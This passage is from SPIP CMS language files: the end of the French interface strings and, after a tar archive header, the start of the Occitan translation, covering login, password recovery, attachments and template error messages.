'info_creer_repertoire' => 'Veuillez créer un fichier ou un répertoire nommé :',
'info_creer_repertoire_2' => 'à l’intérieur du sous-répertoire <b>@repertoire@</b>, puis :',
'info_creer_vignette' => 'création automatique de la vignette',
'info_creerdansrubrique_non_autorise' => 'Vous n’avez pas de droits suffisants pour créer un contenu dans cette rubrique',
'info_deplier' => 'Déplier',
'info_descriptif_nombre' => 'descriptif(s) :',
'info_description' => 'Description :',
'info_description_2' => 'Description :',
'info_dimension' => 'Dimensions :',
'info_documents_nb' => '@nb@ documents',
'info_documents_un' => '1 document',
'info_ecire_message_prive' => 'Écrire un message privé',
'info_email_invalide' => 'Adresse email invalide.',
'info_en_cours_validation' => 'Vos articles en cours de rédaction',
'info_en_ligne' => 'Actuellement en ligne :',
'info_envoyer_message_prive' => 'Envoyer un message privé à cet auteur',
'info_erreur_requete' => 'Erreur dans la requête :',
'info_erreur_squelette2' => 'Aucun squelette <b>@fichier@</b> n’est disponible...',
'info_erreur_systeme' => 'Erreur système (errno @errsys@)',
'info_erreur_systeme2' => 'Le disque dur est peut-être plein, ou la base de données endommagée.<br />
<span style="color:red;">Essayez de <a href=\'@script@\'>réparer la base</a>, ou contactez votre hébergeur.</span>',
'info_fini' => 'C’est fini !',
'info_format_image' => 'Formats d’images pouvant être utilisées pour créer des vignettes : @gd_formats@.',
'info_format_non_defini' => 'format non défini',
'info_grand_ecran' => 'Grand écran',
'info_image_aide' => 'AIDE',
'info_image_process_titre' => 'Méthode de fabrication des vignettes',
'info_impossible_lire_page' => '<b>Erreur !</b> Impossible de lire la page <tt><html>@test_proxy@</html></tt> à travers le proxy ',
'info_installation_systeme_publication' => 'Installation du système de publication...',
'info_installer_documents' => 'Vous pouvez installer automatiquement tous les documents contenus dans le dossier @upload@.',
'info_installer_ftp' => 'En tant qu’administrateur, vous pouvez installer (par FTP) des fichiers dans le dossier @upload@ pour ensuite les sélectionner directement ici.',
'info_installer_images' => 'Vous pouvez installer des images aux formats JPEG, GIF et PNG.',
'info_installer_images_dossier' => 'Installer des images dans le dossier @upload@ pour pouvoir les sélectionner ici.',
'info_interface_complete' => 'interface complète',
'info_interface_simple' => 'Interface simplifiée',
'info_joindre_document_article' => 'Vous pouvez joindre à cet article des documents de type',
'info_joindre_document_rubrique' => 'Vous pouvez ajouter dans cette rubrique des documents de type',
'info_joindre_documents_article' => 'Vous pouvez joindre à votre article des documents de type :',
'info_l_article' => 'l’article',
'info_la_breve' => 'la brève',
'info_la_rubrique' => 'la rubrique',
'info_langue_principale' => 'Langue principale du site',
'info_largeur_vignette' => '@largeur_vignette@ × @hauteur_vignette@ pixels',
'info_les_auteurs_1' => 'par @les_auteurs@',
'info_logo_format_interdit' => 'Seuls les logos aux formats @formats@ sont autorisés.',
'info_logo_max_poids' => 'Les logos doivent obligatoirement faire moins de @maxi@ (ce fichier fait @actuel@).',
'info_mail_fournisseur' => 'vous@fournisseur.com',
'info_message_2' => 'MESSAGE',
'info_message_supprime' => 'MESSAGE SUPPRIMÉ',
'info_messages_nb' => '@nb@ messages',
'info_messages_un' => '1 message',
'info_mise_en_ligne' => 'Date de mise en ligne :',
'info_modification_parametres_securite' => 'modifications des paramètres de sécurité',
'info_mois_courant' => 'Dans le courant du mois :',
'info_mot_cle_ajoute' => 'Le mot-clé suivant a été ajouté à',
'info_multi_herit' => 'Langue par défaut',
'info_multi_langues_soulignees' => 'Les <u>langues soulignées</u> bénéficient d’une traduction totale ou partielle des textes de l’interface. Si vous sélectionnez ces langues, de nombreux éléments du site public (dates, formulaires) seront automatiquement traduits. Pour les langues non soulignées, ces éléments apparaîtront dans la langue principale du site.',
'info_multilinguisme' => 'Multilinguisme',
'info_nom_non_utilisateurs_connectes' => 'Votre nom n’apparaît pas dans la liste des utilisateurs connectés.',
'info_nom_utilisateurs_connectes' => 'Votre nom apparaît dans la liste des utilisateurs connectés.',
'info_nombre_en_ligne' => 'Actuellement en ligne :',
'info_non_resultat' => 'Aucun résultat pour "@cherche_mot@"',
'info_non_utilisation_messagerie' => 'Vous n’utilisez pas la messagerie interne de ce site.',
'info_nouveau_message' => 'VOUS AVEZ UN NOUVEAU MESSAGE',
'info_nouveaux_messages' => 'VOUS AVEZ @total_messages@ NOUVEAUX MESSAGES',
'info_numero_abbreviation' => 'N° ',
'info_obligatoire' => 'Cette information est obligatoire',
'info_pense_bete' => 'PENSE-BÊTE',
'info_petit_ecran' => 'Petit écran',
'info_petition_close' => 'Pétition close',
'info_pixels' => 'pixels',
'info_plusieurs_mots_trouves' => 'Plusieurs mots-clés trouvés pour "@cherche_mot@" :',
'info_portfolio_automatique' => 'Portfolio automatique :',
'info_premier_resultat' => '[@debut_limit@ premiers résultats sur @total@]',
'info_premier_resultat_sur' => '[@debut_limit@ premiers résultats sur @total@]',
'info_propose_1' => '[@nom_site_spip@] Propose : @titre@',
'info_propose_2' => 'Article proposé
---------------',
'info_propose_3' => 'L’article "@titre@" est proposé à la publication.',
'info_propose_4' => 'Vous êtes invité à venir le consulter et à donner votre opinion',
'info_propose_5' => 'dans le forum qui lui est attaché. Il est disponible à l’adresse :',
'info_publie_01' => 'L’article "@titre@" a été validé par @connect_nom@.',
'info_publie_1' => '[@nom_site_spip@] PUBLIE : @titre@',
'info_publie_2' => 'Article publié
--------------',
'info_rechercher' => 'Rechercher',
'info_rechercher_02' => 'Rechercher :',
'info_remplacer_vignette' => 'Remplacer la vignette par défaut par un logo personnalisé :',
'info_rubriques_nb' => '@nb@ rubriques',
'info_rubriques_un' => '1 rubrique',
'info_sans_titre_2' => 'sans titre',
'info_selectionner_fichier' => 'Vous pouvez sélectionner un fichier du dossier @upload@',
'info_selectionner_fichier_2' => 'Sélectionner un fichier :',
'info_sites_nb' => '@nb@ sites',
'info_sites_un' => '1 site',
'info_supprimer_vignette' => 'supprimer la vignette',
'info_symbole_bleu' => 'Le symbole <b>bleu</b> indique un <b>pense-bête</b> : c’est-à-dire un message à votre usage personnel.',
'info_symbole_jaune' => 'Le symbole <b>jaune</b> indique une <b>annonce à tous les rédacteurs</b> : modifiable par tous les administrateurs, et visible par tous les rédacteurs.',
'info_symbole_vert' => 'Le symbole <b>vert</b> indique les <b>messages échangés avec d’autres utilisateurs</b> du site.',
'info_telecharger_nouveau_logo' => 'Télécharger un nouveau logo :',
'info_telecharger_ordinateur' => 'Télécharger depuis votre ordinateur :',
'info_tous_resultats_enregistres' => '[tous les résultats sont enregistrés]',
'info_tout_afficher' => 'Tout afficher',
'info_travaux_texte' => 'Ce site n’est pas encore configuré. Revenez plus tard...',
'info_travaux_titre' => 'Site en travaux',
'info_trop_resultat' => 'Trop de résultats pour "@cherche_mot@" ; veuillez affiner la recherche.',
'info_utilisation_messagerie_interne' => 'Vous utilisez la messagerie interne de ce site.',
'info_valider_lien' => 'valider ce lien',
'info_verifier_image' => ', veuillez vérifier que vos images ont été transférées correctement.',
'info_vignette_defaut' => 'Vignette par défaut',
'info_vignette_personnalisee' => 'Vignette personnalisée',
'info_visite' => 'visite :',
'info_vos_rendez_vous' => 'Vos rendez-vous à venir',
'infos_vos_pense_bete' => 'Vos pense-bêtes',
// L
'label_ajout_id_rapide' => 'Ajout rapide',
'label_poids_fichier' => 'Taille',
'lien_afficher_icones_seuls' => 'Afficher uniquement les icones',
'lien_afficher_texte_icones' => 'Afficher les icones et le texte',
'lien_afficher_texte_seul' => 'Afficher uniquement le texte',
'lien_liberer' => 'libérer',
'lien_liberer_tous' => 'Tout libérer',
'lien_nouvea_pense_bete' => 'NOUVEAU PENSE-BÊTE',
'lien_nouveau_message' => 'NOUVEAU MESSAGE',
'lien_nouvelle_annonce' => 'NOUVELLE ANNONCE',
'lien_petitions' => 'PÉTITION',
'lien_popularite' => 'popularité : @popularite@%',
'lien_racine_site' => 'RACINE DU SITE',
'lien_reessayer' => 'réessayer',
'lien_repondre_message' => 'Répondre à ce message',
'lien_supprimer' => 'supprimer',
'lien_tout_afficher' => 'Tout afficher',
'lien_visite_site' => 'visiter ce site',
'lien_visites' => '@visites@ visites',
'lien_voir_auteur' => 'Voir cet auteur',
'ligne' => 'Ligne',
'login' => 'Connexion',
'login_acces_prive' => 'accès à l’espace privé',
'login_autre_identifiant' => 'se connecter sous un autre identifiant',
'login_cookie_accepte' => 'Veuillez régler votre navigateur pour qu’il les accepte (au moins pour ce site).',
'login_cookie_oblige' => 'Pour vous identifier de façon sûre sur ce site, vous devez accepter les cookies.',
'login_deconnexion_ok' => 'Déconnexion effectuée.',
'login_erreur_pass' => 'Erreur de mot de passe.',
'login_espace_prive' => 'espace privé',
'login_identifiant_inconnu' => 'L’identifiant « @login@ » est inconnu.',
'login_login' => 'Login :',
'login_login2' => 'Login ou adresse email :',
'login_login_pass_incorrect' => '(Login ou mot de passe incorrect.)',
'login_motpasseoublie' => 'mot de passe oublié ?',
'login_non_securise' => 'Attention, ce formulaire n’est pas sécurisé.
Si vous ne voulez pas que votre mot de passe puisse être
intercepté sur le réseau, veuillez activer Javascript
dans votre navigateur et',
'login_nouvelle_tentative' => 'Nouvelle tentative',
'login_par_ici' => 'Vous êtes enregistré... par ici...',
'login_pass2' => 'Mot de passe :',
'login_preferez_refuser' => '<b>Si vous préférez refuser les cookies</b>, une autre méthode de connexion (moins sécurisée) est à votre disposition :',
'login_recharger' => 'recharger cette page',
'login_rester_identifie' => 'Rester identifié quelques jours',
'login_retour_public' => 'Retour au site public',
'login_retour_site' => 'Retour au site public',
'login_retoursitepublic' => 'retour au site public',
'login_sans_cookiie' => 'Identification sans cookie',
'login_securise' => 'Login sécurisé',
'login_sinscrire' => 's’inscrire',
'login_test_navigateur' => 'test navigateur/reconnexion',
'login_verifiez_navigateur' => '(Vérifiez toutefois que votre navigateur n’a pas mémorisé votre mot de passe...)',
// M
'masquer_colonne' => 'Masquer cette colonne',
'masquer_trad' => 'masquer les traductions',
'module_fichiers_langues' => 'Fichiers de langue',
// N
'navigateur_pas_redirige' => 'Si votre navigateur n’est pas redirigé, cliquez ici pour continuer.',
'numero' => 'Numéro',
// O
'occurence' => 'Occurrence',
'onglet_affacer_base' => 'Effacer la base',
'onglet_auteur' => 'L’auteur',
'onglet_contenu_site' => 'Contenu du site',
'onglet_evolution_visite_mod' => 'Évolution',
'onglet_fonctions_avances' => 'Fonctions avancées',
'onglet_informations_personnelles' => 'Informations personnelles',
'onglet_interactivite' => 'Interactivité',
'onglet_messagerie' => 'Messagerie',
'onglet_repartition_rubrique' => 'Répartition par rubriques',
'onglet_save_restaur_base' => 'Sauvegarder/restaurer la base',
'onglet_vider_cache' => 'Vider le cache',
// P
'pass_choix_pass' => 'Veuillez choisir votre nouveau mot de passe :',
'pass_erreur' => 'Erreur',
'pass_erreur_acces_refuse' => '<b>Erreur :</b> vous n’avez plus accès à ce site.',
'pass_erreur_code_inconnu' => '<b>Erreur :</b> ce code ne correspond à aucun des visiteurs ayant accès à ce site.',
'pass_erreur_non_enregistre' => '<b>Erreur :</b> l’adresse <tt>@email_oubli@</tt> n’est pas enregistrée sur ce site.',
'pass_erreur_non_valide' => '<b>Erreur :</b> cet email <tt>@email_oubli@</tt> n’est pas valide !',
'pass_erreur_probleme_technique' => '<b>Erreur :</b> à cause d’un problème technique, l’email ne peut pas être envoyé.',
'pass_espace_prive_bla' => 'L’espace privé de ce site est ouvert aux
visiteurs, après inscription. Une fois enregistré,
vous pourrez consulter les articles en cours de rédaction,
proposer des articles et participer à tous les forums.',
'pass_forum_bla' => 'Vous avez demandé à intervenir sur un forum
réservé aux visiteurs enregistrés.',
'pass_indiquez_cidessous' => 'Indiquez ci-dessous l’adresse email sous laquelle vous
vous êtes précédemment enregistré. Vous
recevrez un email vous indiquant la marche à suivre pour
récupérer votre accès.',
'pass_mail_passcookie' => '(ceci est un message automatique)
Pour retrouver votre accès au site
@nom_site_spip@ (@adresse_site@)
Veuillez vous rendre à l’adresse suivante :
@sendcookie@
Vous pourrez alors entrer un nouveau mot de passe
et vous reconnecter au site.
',
'pass_mot_oublie' => 'Mot de passe oublié',
'pass_nouveau_enregistre' => 'Votre nouveau mot de passe a été enregistré.',
'pass_nouveau_pass' => 'Nouveau mot de passe',
'pass_ok' => 'OK',
'pass_oubli_mot' => 'Oubli du mot de passe',
'pass_procedure_changer' => 'Pour changer votre mot de passe, nous devons d’abord vérifier votre identité. Pour cela indiquez-nous l’adresse email associée à votre compte.',
'pass_quitter_fenetre' => 'Quitter cette fenêtre',
'pass_rappel_login' => 'Rappel : votre identifiant (login) est « @login@ ».',
'pass_recevoir_mail' => 'Vous allez recevoir un email vous indiquant comment retrouver votre accès au site.',
'pass_retour_public' => 'Retour sur le site public',
'pass_rien_a_faire_ici' => 'Rien à faire ici.',
'pass_vousinscrire' => 'Vous inscrire sur ce site',
'precedent' => 'précédent',
'previsualisation' => 'Prévisualisation',
'previsualiser' => 'Prévisualiser',
// R
'retour' => 'Retour',
// S
'spip_conforme_dtd' => 'SPIP considère ce document comme conforme à son DOCTYPE :',
'squelette' => 'squelette',
'squelette_inclus_ligne' => 'squelette inclus, ligne',
'squelette_ligne' => 'squelette, ligne',
'stats_visites_et_popularite' => '@visites@ visites ; popularité : @popularite@',
'suivant' => 'suivant',
// T
'taille_go' => '@taille@ Go',
'taille_ko' => '@taille@ ko',
'taille_mo' => '@taille@ Mo',
'taille_octets' => '@taille@ octets',
'texte_actualite_site_1' => 'Quand vous serez familiarisé(e) avec l’interface, vous pourrez cliquer sur « ',
'texte_actualite_site_2' => 'interface complète',
'texte_actualite_site_3' => ' » pour ouvrir plus de possibilités.',
'texte_creation_automatique_vignette' => 'La création automatique de vignettes de prévisualisation est activée sur ce site. Si vous installez à partir de ce formulaire des images au(x) format(s) @gd_formats@, elles seront accompagnées d’une vignette d’une taille maximale de @taille_preview@ pixels.',
'texte_documents_associes' => 'Les documents suivants sont associés à l’article,
mais ils n’y ont pas été directement
insérés. Selon la mise en page du site public,
ils pourront apparaître sous forme de documents joints.',
'texte_erreur_mise_niveau_base' => 'Erreur de base de données lors de la mise à niveau.
L’image <b>@fichier@</b> n’est pas passée (article @id_article@).
Notez bien cette référence, réessayez la mise à
niveau, et enfin vérifiez que les images apparaissent
toujours dans les articles.',
'texte_erreur_visiteur' => 'Vous avez tenté d’accéder à l’espace privé avec un login qui ne le permet pas.',
'texte_inc_auth_1' => 'Vous êtes identifié sous le
login <b>@auth_login@</b>, mais celui-ci n’existe pas/plus dans la base.
Essayez de vous',
'texte_inc_auth_2' => 'reconnecter',
'texte_inc_auth_3' => ', après avoir éventuellement quitté puis
redémarré votre navigateur.',
'texte_inc_config' => 'Les modifications effectuées dans ces pages influent notablement sur le
fonctionnement de votre site. Nous vous recommandons de ne pas y intervenir tant que vous n’êtes pas
familier du fonctionnement du système SPIP. <br /><br /><b>Plus
généralement, il est fortement conseillé
de laisser la charge de ces pages au webmestre principal de votre site.</b>',
'texte_inc_meta_1' => 'Le système a rencontré une erreur lors de l’écriture du fichier <code>@fichier@</code>. Veuillez, en tant qu’administrateur du site,',
'texte_inc_meta_2' => 'vérifier les droits d’écriture',
'texte_inc_meta_3' => 'sur le répertoire <code>@repertoire@</code>.',
'texte_statut_en_cours_redaction' => 'en cours de rédaction',
'texte_statut_poubelle' => 'à la poubelle',
'texte_statut_propose_evaluation' => 'proposé à l’évaluation',
'texte_statut_publie' => 'publié en ligne',
'texte_statut_refuse' => 'refusé',
'titre_ajouter_mot_cle' => 'AJOUTER UN MOT-CLÉ :',
'titre_cadre_raccourcis' => 'RACCOURCIS :',
'titre_changer_couleur_interface' => 'Changer la couleur de l’interface',
'titre_image_admin_article' => 'Vous pouvez administrer cet article',
'titre_image_administrateur' => 'Administrateur',
'titre_image_aide' => 'De l’aide sur cet élément',
'titre_image_auteur_supprime' => 'Auteur supprimé',
'titre_image_redacteur' => 'Rédacteur sans accès',
'titre_image_redacteur_02' => 'Rédacteur',
'titre_image_selecteur' => 'Afficher la liste',
'titre_image_visiteur' => 'Visiteur',
'titre_joindre_document' => 'JOINDRE UN DOCUMENT',
'titre_mots_cles' => 'MOTS-CLÉS',
'titre_probleme_technique' => 'Attention : un problème technique (serveur SQL) empêche l’accès à cette partie du site. Merci de votre compréhension.',
'titre_publier_document' => 'PUBLIER UN DOCUMENT DANS CETTE RUBRIQUE',
'titre_signatures_attente' => 'Signatures en attente de validation',
'titre_signatures_confirmees' => 'Signatures confirmées',
'titre_statistiques' => 'Statistiques du site',
'titre_titre_document' => 'Titre du document :',
'todo' => 'à venir',
'trad_reference' => '(référence des traductions)',
'trad_definir_reference' => 'Choisir "@titre@" comme référence des traductions',
// Z
'zbug_balise_b_aval' => ' : balise B en aval',
'zbug_balise_inexistante' => 'Balise @balise@ mal déclarée pour @from@',
'zbug_balise_sans_argument' => 'Argument manquant dans la balise @balise@',
'zbug_boucle' => 'boucle',
'zbug_boucle_recursive_undef' => 'Boucle récursive non définie : @nom@',
'zbug_calcul' => 'calcul',
'zbug_champ_hors_boucle' => 'Champ @champ@ hors boucle',
'zbug_champ_hors_motif' => 'Champ @champ@ hors d’un contexte @motif@',
'zbug_code' => 'code',
'zbug_critere_inconnu' => 'Critère inconnu @critere@',
'zbug_critere_sur_table_sans_cle_primaire' => '{@critere@} sur une table sans clef primaire atomique',
'zbug_distant_interdit' => 'Externe interdit', # Contexte : une base de données "externe", pas gérée par SPIP, mais que SPIP 1.8 sait utiliser dans ses boucles -- seul problèmes certaines manipulations sont interdites sur ces bases-là.
'zbug_doublon_table_sans_cle_primaire' => 'Doublons sur une table sans clef primaire atomique',
'zbug_doublon_table_sans_index' => 'Doublons sur une table sans index',
'zbug_erreur_boucle_double' => 'Double définition de la boucle @id@',
'zbug_erreur_boucle_fermant' => 'Boucle @id@ non fermée',
'zbug_erreur_boucle_syntaxe' => 'Syntaxe de la boucle @id@ incorrecte',
'zbug_erreur_compilation' => 'Erreur de compilation',
'zbug_erreur_execution_page' => 'Erreur d’exécution',
'zbug_erreur_filtre' => 'Filtre @filtre@ non défini',
'zbug_erreur_meme_parent' => 'Le critère {meme_parent} ne s’applique qu’aux boucles (FORUMS) ou (RUBRIQUES)',
'zbug_erreur_squelette' => 'Erreur(s) dans le squelette',
'zbug_hors_compilation' => 'Hors Compilation',
'zbug_info_erreur_squelette' => 'Erreur sur le site',
'zbug_inversion_ordre_inexistant' => 'Inversion d’un ordre inexistant',
'zbug_pagination_sans_critere' => 'Balise #PAGINATION sans critère {pagination} ou employé dans une boucle récursive',
'zbug_parametres_inclus_incorrects' => 'Paramètre d’inclusion incorrect : @param@',
'zbug_profile' => 'Temps de calcul : @time@',
'zbug_resultat' => 'résultat',
'zbug_serveur_indefini' => 'Serveur SQL indéfini',
'zbug_statistiques' => 'Statistiques des requêtes SQL classées par durée',
'zbug_table_inconnue' => 'Table SQL « @table@ » inconnue',
'zxml_connus_attributs' => 'attributs connus',
'zxml_de' => 'de',
'zxml_inconnu_attribut' => 'attribut inconnu',
'zxml_inconnu_balise' => 'balise inconnue',
'zxml_inconnu_entite' => 'entité inconnue',
'zxml_inconnu_id' => 'ID inconnu',
'zxml_mais_de' => 'mais de',
'zxml_non_conforme' => 'n’est pas conforme au motif',
'zxml_non_fils' => 'n’est pas un fils de',
'zxml_nonvide_balise' => 'balise non vide',
'zxml_obligatoire_attribut' => 'attribut obligatoire mais absent dans',
'zxml_succession_fils_incorrecte' => 'succession des fils incorrecte',
'zxml_survoler' => 'survoler pour voir les corrects',
'zxml_valeur_attribut' => 'valeur de l’attribut',
'zxml_vide_balise' => 'balise vide',
'zxml_vu' => 'vu auparavant'
);
?>
spip_oc_lnc.php 0000666 00000103632 15252547432 0007567 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/spip?lang_cible=oc_lnc
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// 0
'0_URL' => 'http://listes.rezo.net/mailman/listinfo/spip-oc',
'0_langue' => 'occitan (lengadocian) [oc_lnc]',
'0_liste' => 'escambis.pedagogics@aprene.org',
'0_mainteneur' => 'Mòni : escambis.pedagogics@aprene.org <br /> Estève (Servici de l’Emplec) : cros@emplec.net',
// A
'access_interface_graphique' => 'Tornar a l’interfàcia grafica completa',
'access_mode_texte' => 'Afichar l’interfàcia textuala simplificada',
'admin_debug' => 'desbugatge',
'admin_modifier_article' => 'Modificar aquel article',
'admin_modifier_auteur' => 'Modificar aquel autor',
'admin_modifier_breve' => 'Modificar aquela brèva',
'admin_modifier_mot' => 'Modificar aquel mot clau',
'admin_modifier_rubrique' => 'Modificar aquela rubrica',
'admin_recalculer' => 'Tornar calcular la pagina',
'afficher_trad' => 'mostrar las reviradas',
'alerte_maj_impossible' => '<b>Alèrta!</b> Es impossible d’actualizar la basa SQL vèrs la version @version@; saique i a un problèma relatiu al drech de modificar la basa de donadas. Volgatz contactar vòstre albergador.',
'analyse_xml' => 'Analisi XML',
'annuler' => 'Anullar',
'antispam_champ_vide' => 'Volgatz daissar aquel camp void :',
'articles_recents' => 'Los articles mai recents',
'avis_archive_incorrect' => 'lo fichièr archiu es pas un fichièr SPIP',
'avis_archive_invalide' => 'lo fichièr archiu es pas valid',
'avis_attention' => 'ATENCION!',
'avis_champ_incorrect_type_objet' => 'Nom de camp incorrècte @name@ per objècte de tipe @type@',
'avis_colonne_inexistante' => 'La colomna @col@ existís pas',
'avis_erreur' => 'Error: vejatz çai jos',
'avis_erreur_connexion' => 'Error de connexion',
'avis_erreur_cookie' => 'problèma de cookie',
'avis_erreur_fonction_contexte' => 'Error de programacion. Cal pas apelar aquela foncion dins aquel contèxt.',
'avis_erreur_mysql' => 'Error SQL ',
'avis_erreur_sauvegarde' => 'Error dins la salvagarda (@type@ @id_objet@)! ',
'avis_erreur_visiteur' => 'Problèma per accedir a l’espaci privat',
// B
'barre_a_accent_grave' => 'Inserir una A accent grèu majuscula',
'barre_aide' => 'Utilizar las acorchas tipograficas per enriquir vòstra compaginacion',
'barre_e_accent_aigu' => 'Inserir una E accent agut majuscula',
'barre_eo' => 'Inserir una E dins l’O',
'barre_eo_maj' => 'Inserir una E dins la O majuscula',
'barre_euro' => 'Inserir lo simbèl de l’èuro: €',
'barre_gras' => 'Metre en {{gras}}',
'barre_guillemets' => 'Enrodar amb de « verguetas »',
'barre_guillemets_simples' => 'Enrodar amb de „verguetas“',
'barre_intertitre' => 'Transformar en {{{intertítol}}}',
'barre_italic' => 'Metre en {italics}',
'barre_lien' => 'Transformar en [ligam ipertèxt->http://...]',
'barre_lien_input' => 'Volgatz indicar l’adreiça de vòstre ligam (podètz indicar una adreiça web jos la forma http://www.lomieusit.com o simplament indicar lo numèro d’un article d’aquel sit).',
'barre_note' => 'Transformar en [[Nòta de pè]]',
'barre_quote' => '<quote>Citar un messatge</quote>',
'bouton_changer' => 'Cambiar',
'bouton_chercher' => 'Cercar',
'bouton_choisir' => 'Causir',
'bouton_download' => 'Telecargar', # MODIF
'bouton_enregistrer' => 'Registrar',
'bouton_radio_desactiver_messagerie_interne' => 'Desactivar la messatjariá intèrna',
'bouton_radio_envoi_annonces' => 'Mandar los anoncis editorials',
'bouton_radio_non_envoi_annonces' => 'Mandar pas d’anoncis',
'bouton_radio_non_envoi_liste_nouveautes' => 'Mandar pas la tièra de las novetats',
'bouton_recharger_page' => 'tornar cargar aquela pagina',
'bouton_telecharger' => 'Telecargar',
'bouton_upload' => 'Telecargar', # MODIF
'bouton_valider' => 'Validar',
// C
'cal_apresmidi' => 'tantòst',
'cal_jour_entier' => 'jorn entièr',
'cal_matin' => 'matin',
'cal_par_jour' => 'calendièr per jorn',
'cal_par_mois' => 'calendièr per mes',
'cal_par_semaine' => 'calendièr per setmana',
'choix_couleur_interface' => 'color ',
'choix_interface' => 'causir l’interfàcia',
'colonne' => 'Colomna',
'confirm_changer_statut' => 'Atencion, avètz demandat de cambiar l’estatut d’aquel element. Desiratz de contunhar? ',
'correcte' => 'corrècte',
// D
'date_aujourdhui' => 'uèi',
'date_avant_jc' => 'abans lo Crist',
'date_dans' => 'd’aquí @delai@',
'date_de_mois_1' => '@j@ de genièr',
'date_de_mois_10' => '@j@ d’octobre',
'date_de_mois_11' => '@j@ de novembre',
'date_de_mois_12' => '@j@ de decembre',
'date_de_mois_2' => '@j@ de febrièr',
'date_de_mois_3' => '@j@ de març',
'date_de_mois_4' => '@j@ d’abril',
'date_de_mois_5' => '@j@ de mai',
'date_de_mois_6' => '@j@ de junh',
'date_de_mois_7' => '@j@ de julh',
'date_de_mois_8' => '@j@ d’agost',
'date_de_mois_9' => '@j@ de setembre',
'date_demain' => 'deman',
'date_fmt_heures_minutes' => '@h@h@m@min',
'date_fmt_jour_heure' => '@jour@ a @heure@',
'date_fmt_jour_mois' => '@jourmois@',
'date_fmt_jour_mois_annee' => '@jourmois@ de @annee@',
'date_fmt_mois_annee' => '@nommois@ de @annee@',
'date_fmt_nomjour_date' => 'lo @nomjour@ @date@',
'date_heures' => 'oras',
'date_hier' => 'ièr',
'date_il_y_a' => 'fa @delai@',
'date_jnum1' => '1r',
'date_jnum10' => '10',
'date_jnum11' => '11',
'date_jnum12' => '12',
'date_jnum13' => '13',
'date_jnum14' => '14',
'date_jnum15' => '15',
'date_jnum16' => '16',
'date_jnum17' => '17',
'date_jnum18' => '18',
'date_jnum19' => '19',
'date_jnum2' => '2',
'date_jnum20' => '20',
'date_jnum21' => '21',
'date_jnum22' => '22',
'date_jnum23' => '23',
'date_jnum24' => '24',
'date_jnum25' => '25',
'date_jnum26' => '26',
'date_jnum27' => '27',
'date_jnum28' => '28',
'date_jnum29' => '29',
'date_jnum3' => '3',
'date_jnum30' => '30',
'date_jnum31' => '31',
'date_jnum4' => '4',
'date_jnum5' => '5',
'date_jnum6' => '6',
'date_jnum7' => '7',
'date_jnum8' => '8',
'date_jnum9' => '9',
'date_jour_1' => 'dimenge',
'date_jour_1_abbr' => 'dmg.',
'date_jour_1_initiale' => 'dg.',
'date_jour_2' => 'diluns',
'date_jour_2_abbr' => 'dil.',
'date_jour_2_initiale' => 'dl.',
'date_jour_3' => 'dimars',
'date_jour_3_abbr' => 'dmr.',
'date_jour_3_initiale' => 'dm.',
'date_jour_4' => 'dimècres',
'date_jour_4_abbr' => 'dmc.',
'date_jour_4_initiale' => 'dc.',
'date_jour_5' => 'dijòus',
'date_jour_5_abbr' => 'dij.',
'date_jour_5_initiale' => 'dj.',
'date_jour_6' => 'divendres',
'date_jour_6_abbr' => 'div.',
'date_jour_6_initiale' => 'dv.',
'date_jour_7' => 'dissabte',
'date_jour_7_abbr' => 'dis.',
'date_jour_7_initiale' => 'ds.',
'date_jours' => 'jorns',
'date_minutes' => 'minutas',
'date_mois' => 'mes(es)',
'date_mois_1' => 'genièr',
'date_mois_10' => 'octobre',
'date_mois_11' => 'novembre',
'date_mois_12' => 'decembre',
'date_mois_2' => 'febrièr',
'date_mois_3' => 'març',
'date_mois_4' => 'abril',
'date_mois_5' => 'mai',
'date_mois_6' => 'junh',
'date_mois_7' => 'julh',
'date_mois_8' => 'agost',
'date_mois_9' => 'setembre',
'date_saison_1' => 'ivèrn',
'date_saison_2' => 'prima',
'date_saison_3' => 'estiu',
'date_saison_4' => 'davalada',
'date_semaines' => 'setmana(s)',
'dirs_commencer' => 'per començar vertadièrament l’installacion',
'dirs_preliminaire' => 'Preliminar: <b>Reglar los dreches d’accès</b>',
'dirs_probleme_droits' => 'Problèma de dreches d’accès',
'dirs_repertoires_absents' => '<p><b>S’es pas trobat los repertòris seguents: </b></p> <ul>@bad_dirs@.</ul>
<p>Se pòt que venga d’un problèma de majusculas o minusculas mal mesas.
Verificatz que las minusculas e majusculas d’aqueles repertòris correspondan ben amb çò afichat
çai subre; s’es pas lo cas, tornatz nommar los repertòris amb vòstre logicial FTP en corregir l’error.</p>
<p>Un còp qu’auretz fach aquò, poiretz ',
'dirs_repertoires_suivants' => '<p><b>Los repertòris seguents son pas accessibles en escritura: </b></p><ul>@bad_dirs@.</ul> </b>
<p>Per adobar aquò, utilizatz vòstre client FTP per tal de reglar los dreches d’accès de cadun
d’aqueles repertòris. La guida d’installacion explica en detalh cossí cal procedir.</p>
<p>Tre qu’auretz facha aquela manipulacion, poiretz ',
'double_occurrence' => 'Dobla ocurréncia', # MODIF
// E
'envoi_via_le_site' => 'Mandadís amb lo biais del sit web',
'erreur' => 'Error',
'erreur_balise_non_fermee' => 'darrièra balisa non tampada :',
'erreur_texte' => 'error(s)',
// F
'fichier_introuvable' => 'S’es pas pogut trobar lo fichièr @fichier@.',
'form_deja_inscrit' => 'Sètz ja inscrich(a).',
'form_email_non_valide' => 'Vòstra adreiça e-mail es pas valida.',
'form_forum_access_refuse' => 'Podètz pas mai accedir a aquel sit.',
'form_forum_bonjour' => 'Bonjorn @nom@,,',
'form_forum_email_deja_enregistre' => 'Aquela adreiça e-mail ja es registrada, adoncas podètz utilizar vòstre mot de santa Clara costumièr.',
'form_forum_identifiant_mail' => 'Vos avèm mandat vòstre identificant novèl per e-mail.',
'form_forum_identifiants' => 'Identificants personals',
'form_forum_indiquer_nom_email' => 'Indicatz aquí vòstre nom e vòstra adreiça e-mail. Vòstre identificant personal arribarà lèu-lèu, per e-mail.',
'form_forum_login' => 'login :',
'form_forum_message_auto' => '(aquò’s un messatge automatic)',
'form_forum_pass' => 'mot de santa Clara :',
'form_forum_probleme_mail' => 'Problèma d’e-mail: se pòt pas mandar l’identificant.',
'form_forum_voici1' => 'Vaicí vòstres identificants per poder participar a la vida
del sit "@nom_site_spip@" (@adresse_site@) :',
'form_forum_voici2' => 'Vaquí vòstres identificants per prepausar d’articles
sul sit "@nom_site_spip@" (@adresse_login@) :',
